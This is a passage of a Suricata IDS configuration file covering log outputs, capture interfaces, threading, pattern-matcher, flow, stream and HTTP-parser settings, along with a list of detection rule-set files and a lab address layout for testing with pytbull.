  # In normal mode a pcap file "filename" is created in the default-log-dir,
  # or are as specified by "dir". In Sguil mode "dir" indicates the base directory.
  # In this base dir the pcaps are created in th directory structure Sguil expects:
  #
  # $sguil-base-dir/YYYY-MM-DD/$filename.<timestamp>
  #
  # By default all packets are logged except:
  # - TCP streams beyond stream.reassembly.depth
  # - encrypted streams after the key exchange
  #
  - pcap-log:
      enabled:  no
      filename: log.pcap

      # File size limit.  Can be specified in kb, mb, gb.  Just a number
      # is parsed as bytes.
      limit: 1000mb

      # If set to a value will enable ring buffer mode. Will keep Maximum of "max-files" of size "limit"
      max-files: 2000

      mode: normal # normal or sguil.
      #sguil-base-dir: /nsm_data/
      #ts-format: usec # sec or usec second format (default) is filename.sec usec is filename.sec.usec
      use-stream-depth: no #If set to "yes" packets seen after reaching stream inspection depth are ignored. "no" logs all packets

  # a full alerts log containing much information for signature writers
  # or for investigating suspected false positives.
  - alert-debug:
      enabled: no
      filename: alert-debug.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

  # alert output to prelude (http://www.prelude-technologies.com/) only
  # available if Suricata has been compiled with --enable-prelude
  - alert-prelude:
      enabled: no
      profile: suricata
      log-packet-content: no
      log-packet-header: yes

  # Stats.log contains data from various counters of the suricata engine.
  # The interval field (in seconds) tells after how long output will be written
  # on the log file.
  - stats:
      enabled: no
      filename: stats.log
      interval: 8

  # a line based alerts log similar to fast.log into syslog
  - syslog:
      enabled: no
      # reported identity to syslog. If ommited the program name (usually
      # suricata) will be used.
      #identity: "suricata"
      facility: local5
      #level: Info ## possible levels: Emergency, Alert, Critical,
                   ## Error, Warning, Notice, Info, Debug

  # a line based information for dropped packets in IPS mode
  - drop:
      enabled: no
      filename: drop.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

  # output module to store extracted files to disk
  #
  # The files are stored to the log-dir in a format "file.<id>" where <id> is
  # an incrementing number starting at 1. For each file "file.<id>" a meta
  # file "file.<id>.meta" is created.
  #
  # File extraction depends on a lot of things to be fully done:
  # - stream reassembly depth. For optimal results, set this to 0 (unlimited)
  # - http request / response body sizes. Again set to 0 for optimal results.
  # - rules that contain the "filestore" keyword.
  - file-store:
      enabled: no       # set to yes to enable
      log-dir: /usr/local/etc/suricata/files    # directory to store the files
      force-magic: no   # force logging magic on all stored files
      force-md5: no     # force logging of md5 checksums
      #waldo: file.waldo # waldo file to store the file_id across runs

  # output module to log files tracked in a easily parsable json format
  - file-log:
      enabled: no
      filename: files-json.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

      force-magic: no   # force logging magic on all logged files
      force-md5: no     # force logging of md5 checksums

# Magic file. The extension .mgc is added to the value here.
#magic-file: /usr/share/file/magic
magic-file: /usr/share/file/magic

# When running in NFQ inline mode, it is possible to use a simulated
# non-terminal NFQUEUE verdict.
# This permit to do send all needed packet to suricata via this a rule:
#        iptables -I FORWARD -m mark ! --mark $MARK/$MASK -j NFQUEUE
# And below, you can have your standard filtering ruleset. To activate
# this mode, you need to set mode to 'repeat'
# If you want packet to be sent to another queue after an ACCEPT decision
# set mode to 'route' and set next-queue value.
# On linux >= 3.6, you can set the fail-open option to yes to have the kernel
# accept the packet if suricata is not able to keep pace.
nfq:
#  mode: accept
#  repeat-mark: 1
#  repeat-mask: 1
#  route-queue: 2
#  fail-open: yes

# af-packet support
# Set threads to > 1 to use PACKET_FANOUT support
af-packet:
  - interface: eth0
    # Number of receive threads (>1 will enable experimental flow pinned
    # runmode)
    threads: 1
    # Default clusterid.  AF_PACKET will load balance packets based on flow.
    # All threads/processes that will participate need to have the same
    # clusterid.
    cluster-id: 99
    # Default AF_PACKET cluster type. AF_PACKET can load balance per flow or per hash.
    # This is only supported for Linux kernel > 3.1
    # possible value are:
    #  * cluster_round_robin: round robin load balancing
    #  * cluster_flow: all packets of a given flow are send to the same socket
    #  * cluster_cpu: all packets treated in kernel by a CPU are send to the same socket
    cluster-type: cluster_flow
    # In some fragmentation case, the hash can not be computed. If "defrag" is set
    # to yes, the kernel will do the needed defragmentation before sending the packets.
    defrag: yes
    # To use the ring feature of AF_PACKET, set 'use-mmap' to yes
    use-mmap: yes
    # Ring size will be computed with respect to max_pending_packets and number
    # of threads. You can set manually the ring size in number of packets by setting
    # the following value. If you are using flow cluster-type and have really network
    # intensive single-flow you could want to set the ring-size independantly of the number
    # of threads:
    #ring-size: 2048
    # On busy system, this could help to set it to yes to recover from a packet drop
    # phase. This will result in some packets (at max a ring flush) being non treated.
    #use-emergency-flush: yes
    # recv buffer size, increase value could improve performance
    # buffer-size: 32768
    # Set to yes to disable promiscuous mode
    # disable-promisc: no
    # Choose checksum verification mode for the interface. At the moment
    # of the capture, some packets may be with an invalid checksum due to
    # offloading to the network card of the checksum computation.
    # Possible values are:
    #  - kernel: use indication sent by kernel for each packet (default)
    #  - yes: checksum validation is forced
    #  - no: checksum validation is disabled
    #  - auto: suricata uses a statistical approach to detect when
    #  checksum off-loading is used.
    # Warning: 'checksum-validation' must be set to yes to have any validation
    #checksum-checks: kernel
    # BPF filter to apply to this interface. The pcap filter syntax apply here.
    #bpf-filter: port 80 or udp
    # You can use the following variables to activate AF_PACKET tap od IPS mode.
    # If copy-mode is set to ips or tap, the traffic coming to the current
    # interface will be copied to the copy-iface interface. If 'tap' is set, the
    # copy is complete. If 'ips' is set, the packet matching a 'drop' action
    # will not be copied.
    #copy-mode: ips
    #copy-iface: eth1
  - interface: eth1
    threads: 1
    cluster-id: 98
    cluster-type: cluster_flow
    defrag: yes
    # buffer-size: 32768
    # disable-promisc: no
  # Put default values here
  - interface: default
    #threads: 2
    #use-mmap: yes

# You can specify a threshold config file by setting "threshold-file"
# to the path of the threshold config file:
threshold-file: /usr/local/etc/suricata/threshold.config

# The detection engine builds internal groups of signatures. The engine
# allow us to specify the profile to use for them, to manage memory on an
# efficient way keeping a good performance. For the profile keyword you
# can use the words "low", "medium", "high" or "custom". If you use custom
# make sure to define the values at "- custom-values" as your convenience.
# Usually you would prefer medium/high/low.
#
# "sgh mpm-context", indicates how the staging should allot mpm contexts for
# the signature groups.  "single" indicates the use of a single context for
# all the signature group heads.  "full" indicates a mpm-context for each
# group head.  "auto" lets the engine decide the distribution of contexts
# based on the information the engine gathers on the patterns from each
# group head.
#
# The option inspection-recursion-limit is used to limit the recursive calls
# in the content inspection code.  For certain payload-sig combinations, we
# might end up taking too much time in the content inspection code.
# If the argument specified is 0, the engine uses an internally defined
# default limit.  On not specifying a value, we use no limits on the recursion.
detect-engine:
  - profile: low
#  - profile: medium
  - custom-values:
      toclient-src-groups: 2
      toclient-dst-groups: 2
      toclient-sp-groups: 2
      toclient-dp-groups: 3
      toserver-src-groups: 2
      toserver-dst-groups: 4
      toserver-sp-groups: 2
      toserver-dp-groups: 25
  - sgh-mpm-context: auto
  - inspection-recursion-limit: 3000
  # When rule-reload is enabled, sending a USR2 signal to the Suricata process
  # will trigger a live rule reload. Experimental feature, use with care.
  #- rule-reload: true
  # If set to yes, the loading of signatures will be made after the capture
  # is started. This will limit the downtime in IPS mode.
  #- delayed-detect: yes

# Suricata is multi-threaded. Here the threading can be influenced.
threading:
  # On some cpu's/architectures it is beneficial to tie individual threads
  # to specific CPU's/CPU cores. In this case all threads are tied to CPU0,
  # and each extra CPU/core has one "detect" thread.
  #
  # On Intel Core2 and Nehalem CPU's enabling this will degrade performance.
  #
  set-cpu-affinity: no
  # Tune cpu affinity of suricata threads. Each family of threads can be bound
  # on specific CPUs.
  cpu-affinity:
    - management-cpu-set:
        cpu: [ 0 ]  # include only these cpus in affinity settings
    - receive-cpu-set:
        cpu: [ 0 ]  # include only these cpus in affinity settings
    - decode-cpu-set:
        cpu: [ 0, 1 ]
        mode: "balanced"
    - stream-cpu-set:
        cpu: [ "0-1" ]
    - detect-cpu-set:
        cpu: [ "all" ]
        mode: "exclusive" # run detect threads in these cpus
        # Use explicitely 3 threads and don't compute number by using
        # detect-thread-ratio variable:
        # threads: 3
        prio:
          low: [ 0 ]
          medium: [ "1-2" ]
          high: [ 3 ]
          default: "medium"
    - verdict-cpu-set:
        cpu: [ 0 ]
        prio:
          default: "high"
    - reject-cpu-set:
        cpu: [ 0 ]
        prio:
          default: "low"
    - output-cpu-set:
        cpu: [ "all" ]
        prio:
           default: "medium"
  #
  # By default Suricata creates one "detect" thread per available CPU/CPU core.
  # This setting allows controlling this behaviour. A ratio setting of 2 will
  # create 2 detect threads for each CPU/CPU core. So for a dual core CPU this
  # will result in 4 detect threads. If values below 1 are used, less threads
  # are created. So on a dual core CPU a setting of 0.5 results in 1 detect
  # thread being created. Regardless of the setting at a minimum 1 detect
  # thread will always be created.
  #
  detect-thread-ratio: 1.5

# Cuda configuration.
cuda:
  # The "mpm" profile.  On not specifying any of these parameters, the engine's
  # internal default values are used, which are same as the ones specified here.
  - mpm:
      # Threshold limit for no of packets buffered to the GPU.  Once we hit this
      # limit, we pass the buffer to the gpu.
      packet-buffer-limit: 2400
      # The maximum length for a packet that we would buffer to the gpu.
      # Anything over this is MPM'ed on the CPU.  All entries > 0 are valid.
      # Can be specified in kb, mb, gb.  Just a number indicates it's in bytes.
      packet-size-limit: 1500
      # No of packet buffers we initialize.  All entries > 0 are valid.
      packet-buffers: 10
      # The timeout limit for batching of packets in secs.  If we don't fill the
      # buffer within this timeout limit, we pass the currently filled buffer to the gpu.
      # All entries > 0 are valid.
      batching-timeout: 1
      # Specifies whether to use page-locked memory whereever possible.  Accepted values
      # are "enabled" and "disabled".
      page-locked: enabled
      # The device to use for the mpm.  Currently we don't support load balancing
      # on multiple gpus.  In case you have multiple devices on your system, you
      # can specify the device to use, using this conf.  By default we hold 0, to
      # specify the first device cuda sees.  To find out device-id associated with
      # the card(s) on the system run "suricata --list-cuda-cards".
      device-id: 0
      # No of Cuda streams used for asynchronous processing. All values > 0 are valid.
      # For this option you need a device with Compute Capability > 1.0 and
      # page-locked enabled to have any effect.
      cuda-streams: 2

# Select the multi pattern algorithm you want to run for scan/search the
# in the engine. The supported algorithms are b2g, b2gc, b2gm, b3g, wumanber,
# ac and ac-gfbs.
#
# The mpm you choose also decides the distribution of mpm contexts for
# signature groups, specified by the conf - "detect-engine.sgh-mpm-context".
# Selecting "ac" as the mpm would require "detect-engine.sgh-mpm-context"
# to be set to "single", because of ac's memory requirements, unless the
# ruleset is small enough to fit in one's memory, in which case one can
# use "full" with "ac".  Rest of the mpms can be run in "full" mode.
#
# There is also a CUDA pattern matcher (only available if Suricata was
# compiled with --enable-cuda: b2g_cuda. Make sure to update your
# max-pending-packets setting above as well if you use b2g_cuda.

mpm-algo: ac

# The memory settings for hash size of these algorithms can vary from lowest
# (2048) - low (4096) - medium (8192) - high (16384) - higher (32768) - max
# (65536). The bloomfilter sizes of these algorithms can vary from low (512) -
# medium (1024) - high (2048).
#
# For B2g/B3g algorithms, there is a support for two different scan/search
# algorithms. For B2g the scan algorithms are B2gScan & B2gScanBNDMq, and
# search algorithms are B2gSearch & B2gSearchBNDMq. For B3g scan algorithms
# are B3gScan & B3gScanBNDMq, and search algorithms are B3gSearch &
# B3gSearchBNDMq.
#
# For B2g the different scan/search algorithms and, hash and bloom
# filter size settings. For B3g the different scan/search algorithms and, hash
# and bloom filter size settings. For wumanber the hash and bloom filter size
# settings.

pattern-matcher:
  - b2gc:
      search-algo: B2gSearchBNDMq
      hash-size: low
      bf-size: medium
  - b2gm:
      search-algo: B2gSearchBNDMq
      hash-size: low
      bf-size: medium
  - b2g:
      search-algo: B2gSearchBNDMq
      hash-size: low
      bf-size: medium
  - b3g:
      search-algo: B3gSearchBNDMq
      hash-size: low
      bf-size: medium
  - wumanber:
      hash-size: low
      bf-size: medium

# Defrag settings:

defrag:
  memcap: 32mb
  hash-size: 65536
  trackers: 65535 # number of defragmented flows to follow
  max-frags: 65535 # number of fragments to keep (higher than trackers)
  prealloc: yes
  timeout: 60

# Flow settings:
# By default, the reserved memory (memcap) for flows is 32MB. This is the limit
# for flow allocation inside the engine. You can change this value to allow
# more memory usage for flows.
# The hash-size determine the size of the hash used to identify flows inside
# the engine, and by default the value is 65536.
# At the startup, the engine can preallocate a number of flows, to get a better
# performance. The number of flows preallocated is 10000 by default.
# emergency-recovery is the percentage of flows that the engine need to
# prune before unsetting the emergency state. The emergency state is activated
# when the memcap limit is reached, allowing to create new flows, but
# prunning them with the emergency timeouts (they are defined below).
# If the memcap is reached, the engine will try to prune flows
# with the default timeouts. If it doens't find a flow to prune, it will set
# the emergency bit and it will try again with more agressive timeouts.
# If that doesn't work, then it will try to kill the last time seen flows
# not in use.
# The memcap can be specified in kb, mb, gb.  Just a number indicates it's
# in bytes.

flow:
  memcap: 32mb
  hash-size: 65536
  prealloc: 10000
  emergency-recovery: 30

# Specific timeouts for flows. Here you can specify the timeouts that the
# active flows will wait to transit from the current state to another, on each
# protocol. The value of "new" determine the seconds to wait after a hanshake or
# stream startup before the engine free the data of that flow it doesn't
# change the state to established (usually if we don't receive more packets
# of that flow). The value of "established" is the amount of
# seconds that the engine will wait to free the flow if it spend that amount
# without receiving new packets or closing the connection. "closed" is the
# amount of time to wait after a flow is closed (usually zero).
#
# There's an emergency mode that will become active under attack circumstances,
# making the engine to check flow status faster. This configuration variables
# use the prefix "emergency-" and work similar as the normal ones.
# Some timeouts doesn't apply to all the protocols, like "closed", for udp and
# icmp.

flow-timeouts:

  default:
    new: 30
    established: 300
    closed: 0
    emergency-new: 10
    emergency-established: 100
    emergency-closed: 0
  tcp:
    new: 60
    established: 3600
    closed: 120
    emergency-new: 10
    emergency-established: 300
    emergency-closed: 20
  udp:
    new: 30
    established: 300
    emergency-new: 10
    emergency-established: 100
  icmp:
    new: 30
    established: 300
    emergency-new: 10
    emergency-established: 100

# Stream engine settings. Here the TCP stream tracking and reassembly
# engine is configured.
#
# stream:
#   memcap: 32mb                # Can be specified in kb, mb, gb.  Just a
#                               # number indicates it's in bytes.
#   checksum-validation: yes    # To validate the checksum of received
#                               # packet. If csum validation is specified as
#                               # "yes", then packet with invalid csum will not
#                               # be processed by the engine stream/app layer.
#                               # Warning: locally generated trafic can be
#                               # generated without checksum due to hardware offload
#                               # of checksum. You can control the handling of checksum
#				# on a per-interface basis via the 'checksum-checks'
#				# option
#   max-sessions: 262144        # 256k concurrent sessions
#   prealloc-sessions: 32768    # 32k sessions prealloc'd
#   midstream: false            # don't allow midstream session pickups
#   async-oneside: false        # don't enable async stream handling
#   inline: no                  # stream inline mode
#
#   reassembly:
#     memcap: 64mb              # Can be specified in kb, mb, gb.  Just a number
#                               # indicates it's in bytes.
#     depth: 1mb                # Can be specified in kb, mb, gb.  Just a number
#                               # indicates it's in bytes.
#     toserver-chunk-size: 2560 # inspect raw stream in chunks of at least
#                               # this size.  Can be specified in kb, mb,
#                               # gb.  Just a number indicates it's in bytes.
#     toclient-chunk-size: 2560 # inspect raw stream in chunks of at least
#                               # this size.  Can be specified in kb, mb,
#                               # gb.  Just a number indicates it's in bytes.

stream:
  memcap: 32mb
  checksum-validation: yes      # reject wrong csums
  inline: auto                  # auto will use inline mode in IPS mode, yes or no set it statically
  reassembly:
    memcap: 64mb
    depth: 1mb                  # reassemble 1mb into a stream
    toserver-chunk-size: 2560
    toclient-chunk-size: 2560

# Host table:
#
# Host table is used by tagging and per host thresholding subsystems.
#
host:
  hash-size: 4096
  prealloc: 1000
  memcap: 16777216

# Logging configuration.  This is not about logging IDS alerts, but
# IDS output about what its doing, errors, etc.
logging:

  # The default log level, can be overridden in an output section.
  # Note that debug level logging will only be emitted if Suricata was
  # compiled with the --enable-debug configure option.
  #
  # This value is overriden by the SC_LOG_LEVEL env var.
  default-log-level: info

  # The default output format.  Optional parameter, should default to
  # something reasonable if not provided.  Can be overriden in an
  # output section.  You can leave this out to get the default.
  #
  # This value is overriden by the SC_LOG_FORMAT env var.
  #default-log-format: "[%i] %t - (%f:%l) <%d> (%n) -- "

  # A regex to filter output.  Can be overridden in an output section.
  # Defaults to empty (no filter).
  #
  # This value is overriden by the SC_LOG_OP_FILTER env var.
  default-output-filter:

  # Define your logging outputs.  If none are defined, or they are all
  # disabled you will get the default - console output.
  outputs:
  - console:
      enabled: yes
  - file:
      enabled: yes
      filename: /var/log/suricata.log
  - syslog:
      enabled: no
      facility: local5
      format: "[%i] <%d> -- "

# PF_RING configuration. for use with native PF_RING support
# for more info see http://www.ntop.org/PF_RING.html
pfring:
  - interface: eth0
    # Number of receive threads (>1 will enable experimental flow pinned
    # runmode)
    threads: 1

    # Default clusterid.  PF_RING will load balance packets based on flow.
    # All threads/processes that will participate need to have the same
    # clusterid.
    cluster-id: 99

    # Default PF_RING cluster type. PF_RING can load balance per flow or per hash.
    # This is only supported in versions of PF_RING > 4.1.1.
    cluster-type: cluster_flow
    # bpf filter for this interface
    #bpf-filter: tcp
    # Choose checksum verification mode for the interface. At the moment
    # of the capture, some packets may be with an invalid checksum due to
    # offloading to the network card of the checksum computation.
    # Possible values are:
    #  - rxonly: only compute checksum for packets received by network card.
    #  - yes: checksum validation is forced
    #  - no: checksum validation is disabled
    #  - auto: suricata uses a statistical approach to detect when
    #  checksum off-loading is used. (default)
    # Warning: 'checksum-validation' must be set to yes to have any validation
    #checksum-checks: auto
  # Second interface
  #- interface: eth1
  #  threads: 3
  #  cluster-id: 93
  #  cluster-type: cluster_flow
  # Put default values here
  - interface: default
    #threads: 2

pcap:
  - interface: eth0
    #buffer-size: 32768
    #bpf-filter: "tcp and port 25"
    # Choose checksum verification mode for the interface. At the moment
    # of the capture, some packets may be with an invalid checksum due to
    # offloading to the network card of the checksum computation.
    # Possible values are:
    #  - yes: checksum validation is forced
    #  - no: checksum validation is disabled
    #  - auto: suricata uses a statistical approach to detect when
    #  checksum off-loading is used. (default)
    # Warning: 'checksum-validation' must be set to yes to have any validation
    #checksum-checks: auto
    # With some accelerator cards using a modified libpcap (like myricom), you
    # may want to have the same number of capture threads as the number of capture
    # rings. In this case, set up the threads variable to N to start N threads
    # listening on the same interface.
    #threads: 16
  # Put default values here
  - interface: default
    #checksum-checks: auto

# For FreeBSD ipfw(8) divert(4) support.
# Please make sure you have ipfw_load="YES" and ipdivert_load="YES"
# in /etc/loader.conf or kldload'ing the appropriate kernel modules.
# Additionally, you need to have an ipfw rule for the engine to see
# the packets from ipfw.  For Example:
#
#   ipfw add 100 divert 8000 ip from any to any
#
# The 8000 above should be the same number you passed on the command
# line, i.e. -d 8000
#
ipfw:

  # Reinject packets at the specified ipfw rule number.  This config
  # option is the ipfw rule number AT WHICH rule processing continues
  # in the ipfw processing system after the engine has finished
  # inspecting the packet for acceptance.  If no rule number is specified,
  # accepted packets are reinjected at the divert rule which they entered
  # and IPFW rule processing continues.  No check is done to verify
  # this will rule makes sense so care must be taken to avoid loops in ipfw.
  #
  ## The following example tells the engine to reinject packets
  # back into the ipfw firewall AT rule number 5500:
  #
  # ipfw-reinjection-rule-number: 5500

# Set the default rule path here to search for the files.
# if not set, it will look at the current working dir
default-rule-path: /usr/local/etc/suricata/rules
rule-files:
 - suricata.rules
 - local.rules
# - botcc.rules
# - ciarmy.rules
# - compromised.rules
# - drop.rules
# - dshield.rules
# - emerging-activex.rules
# - emerging-attack_response.rules
# - emerging-chat.rules
# - emerging-current_events.rules
# - emerging-dns.rules
# - emerging-dos.rules
# - emerging-exploit.rules
# - emerging-ftp.rules
# - emerging-games.rules
# - emerging-icmp_info.rules
# - emerging-icmp.rules
# - emerging-imap.rules
# - emerging-inappropriate.rules
# - emerging-malware.rules
# - emerging-misc.rules
# - emerging-mobile_malware.rules
# - emerging-netbios.rules
# - emerging-p2p.rules
# - emerging-policy.rules
# - emerging-pop3.rules
# - emerging-rpc.rules
# - emerging-scada.rules
# - emerging-scan.rules
# - emerging-shellcode.rules
# - emerging-smtp.rules
# - emerging-snmp.rules
# - emerging-sql.rules
# - emerging-telnet.rules
# - emerging-tftp.rules
# - emerging-trojan.rules
# - emerging-user_agents.rules
# - emerging-virus.rules
# - emerging-voip.rules
# - emerging-web_client.rules
# - emerging-web_server.rules
# - emerging-web_specific_apps.rules
# - emerging-worm.rules
# - rbn-malvertisers.rules
# - rbn.rules
# - tor.rules
# - decoder-events.rules # available in suricata sources under rules dir
# - stream-events.rules  # available in suricata sources under rules dir
# - http-events.rules    # available in suricata sources under rules dir
# - smtp-events.rules    # available in suricata sources under rules dir

classification-file: /usr/local/etc/suricata/classification.config
reference-config-file: /usr/local/etc/suricata/reference.config

# Holds variables that would be used by the engine.
vars:

  # Holds the address group vars that would be passed in a Signature.
  # These would be retrieved during the Signature address parsing stage.
  address-groups:

    #HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"
    HOME_NET: any

    #EXTERNAL_NET: "!$HOME_NET"
    EXTERNAL_NET: any

    HTTP_SERVERS: "$HOME_NET"

    SMTP_SERVERS: "$HOME_NET"

    SQL_SERVERS: "$HOME_NET"

    DNS_SERVERS: "$HOME_NET"

    TELNET_SERVERS: "$HOME_NET"

    AIM_SERVERS: "$EXTERNAL_NET"

    DNP3_SERVER: "$HOME_NET"

    DNP3_CLIENT: "$HOME_NET"

    MODBUS_CLIENT: "$HOME_NET"

    MODBUS_SERVER: "$HOME_NET"

    ENIP_CLIENT: "$HOME_NET"

    ENIP_SERVER: "$HOME_NET"

    SSH_SERVERS: "$HOME_NET"

    SIP_SERVERS: "$HOME_NET"

  # Holds the port group vars that would be passed in a Signature.
  # These would be retrieved during the Signature port parsing stage.
  port-groups:

    HTTP_PORTS: "80"

    SHELLCODE_PORTS: "!80"

    ORACLE_PORTS: 1521

    SSH_PORTS: 22

    DNP3_PORTS: 20000

    FTP_PORTS: "[21,2100,3535]"

    SIP_PORTS: "[5060,5061,5600]"

    FILE_DATA_PORTS: "[$HTTP_PORTS,110,143]"


    GTP_PORTS: "[2123,2152,3386]"

# Set the order of alerts bassed on actions
# The default order is pass, drop, reject, alert
action-order:
  - pass
  - drop
  - reject
  - alert

# IP Reputation
#reputation-categories-file: /usr/local/etc/suricata/iprep/categories.txt
#default-reputation-path: /usr/local/etc/suricata/iprep
#reputation-files:
# - reputation.list

# Host specific policies for defragmentation and TCP stream
# reassembly.  The host OS lookup is done using a radix tree, just
# like a routing table so the most specific entry matches.
host-os-policy:
  # Make the default policy linux.
  #windows: [0.0.0.0/0]
  linux: [0.0.0.0/0]
  windows: [192.168.56.22]
  bsd: []
  bsd-right: []
  old-linux: []
  #linux: [10.0.0.0/8, 192.168.1.100, "8762:2352:6241:7245:E000:0000:0000:0000"]
  old-solaris: []
  solaris: ["::1"]
  hpux10: []
  hpux11: []
  irix: []
  macos: []
  vista: []
  windows2k3: []


# Limit for the maximum number of asn1 frames to decode (default 256)
asn1-max-frames: 256

# When run with the option --engine-analysis, the engine will read each of
# the parameters below, and print reports for each of the enabled sections
# and exit.  The reports are printed to a file in the default log dir
# given by the parameter "default-log-dir", with engine reporting
# subsection below printing reports in its own report file.
engine-analysis:
  # enables printing reports for fast-pattern for every rule.
  rules-fast-pattern: yes
  # enables printing reports for each rule
  rules: yes

#recursion and match limits for PCRE where supported
pcre:
  match-limit: 3500
  match-limit-recursion: 1500

###########################################################################
# Configure libhtp.
#
#
# default-config:           Used when no server-config matches
#   personality:            List of personalities used by default
#   request-body-limit:     Limit reassembly of request body for inspection
#                           by http_client_body & pcre /P option.
#   response-body-limit:    Limit reassembly of response body for inspection
#                           by file_data, http_server_body & pcre /Q option.
#   double-decode-path:     Double decode path section of the URI
#   double-decode-query:    Double decode query section of the URI
#
# server-config:            List of server configurations to use if address matches
#   address:                List of ip addresses or networks for this block
#   personalitiy:           List of personalities used by this block
#   request-body-limit:     Limit reassembly of request body for inspection
#                           by http_client_body & pcre /P option.
#   response-body-limit:    Limit reassembly of response body for inspection
#                           by file_data, http_server_body & pcre /Q option.
#   double-decode-path:     Double decode path section of the URI
#   double-decode-query:    Double decode query section of the URI
#
# Currently Available Personalities:
#   Minimal
#   Generic
#   IDS (default)
#   IIS_4_0
#   IIS_5_0
#   IIS_5_1
#   IIS_6_0
#   IIS_7_0
#   IIS_7_5
#   Apache
#   Apache_2_2
###########################################################################
libhtp:

   default-config:
     personality: IDS

     # Can be specified in kb, mb, gb.  Just a number indicates
     # it's in bytes.
     request-body-limit: 3072
     response-body-limit: 3072

     # inspection limits
     request-body-minimal-inspect-size: 32kb
     request-body-inspect-window: 4kb
     response-body-minimal-inspect-size: 32kb
     response-body-inspect-window: 4kb

     # decoding
     double-decode-path: no
     double-decode-query: no

     path-backslash-separators: yes
     path-compress-separators: yes
     path-decode-separators: yes
     path-decode-u-encoding: yes



   server-config:

     - apache:
         #address: [192.168.1.0/24, 127.0.0.0/8, "::1"]
         address: [192.168.56.21, 192.168.56.51]
         personality: Apache_2_2
         # Can be specified in kb, mb, gb.  Just a number indicates
         # it's in bytes.
         request-body-limit: 4096
         response-body-limit: 4096
         #double-decode-path: no
         #double-decode-query: no
         #double decoding is enabled in order to test it with pytbull which targets directly the IDS
         #using attacks specific to either Apache or IIS
         double-decode-path: yes
         double-decode-query: yes

         #path-backslash-separators: yes
         #path-compress-separators: yes
         #path-decode-separators: yes
         #path-decode-u-encoding: yes

     - iis7:
         address:
           - 192.168.0.0/24
           - 192.168.10.0/24
         personality: IIS_7_0
         # Can be specified in kb, mb, gb.  Just a number indicates
         # it's in bytes.
         request-body-limit: 4096
         response-body-limit: 4096
         #double-decode-path: no
         #double-decode-query: no
         #double decoding is enabled in order to test it with pytbull which targets directly the IDS
         #using attacks specific to either Apache or IIS
         double-decode-path: yes
         double-decode-query: yes

         #path-backslash-separators: yes
         #path-compress-separators: yes
         #path-decode-separators: yes
         #path-decode-u-encoding: yes


# Profiling settings. Only effective if Suricata has been built with the
# the --enable-profiling configure flag.
#
profiling:

  # rule profiling
  rules:

    # Profiling can be disabled here, but it will still have a
    # performance impact if compiled in.
    enabled: yes
    filename: rule_perf.log
    append: yes

    # Sort options: ticks, avgticks, checks, matches, maxticks
    sort: avgticks

    # Limit the number of items printed at exit.
    limit: 100

  # packet profiling
  packets:

    # Profiling can be disabled here, but it will still have a
    # performance impact if compiled in.
    enabled: yes
    filename: packet_stats.log
    append: yes

    # per packet csv output
    csv:

      # Output can be disabled here, but it will still have a
      # performance impact if compiled in.
      enabled: no
      filename: packet_stats.csv

  # profiling of locking. Only available when Suricata was built with
  # --enable-profiling-locks.
  locks:
    enabled: no
    filename: lock_stats.log
    append: yes

# Suricata core dump configuration. Limits the size of the core dump file to
# approximately max-dump. The actual core dump size will be a multiple of the
# page size. Core dumps that would be larger than max-dump are truncated. On
# Linux, the actual core dump size may be a few pages larger than max-dump.
# Setting max-dump to 0 disables core dumping.
# Setting max-dump to 'unlimited' will give the full core dump file.
# On 32-bit Linux, a max-dump value >= ULONG_MAX may cause the core dump size
# to be 'unlimited'.

coredump:
  max-dump: unlimited


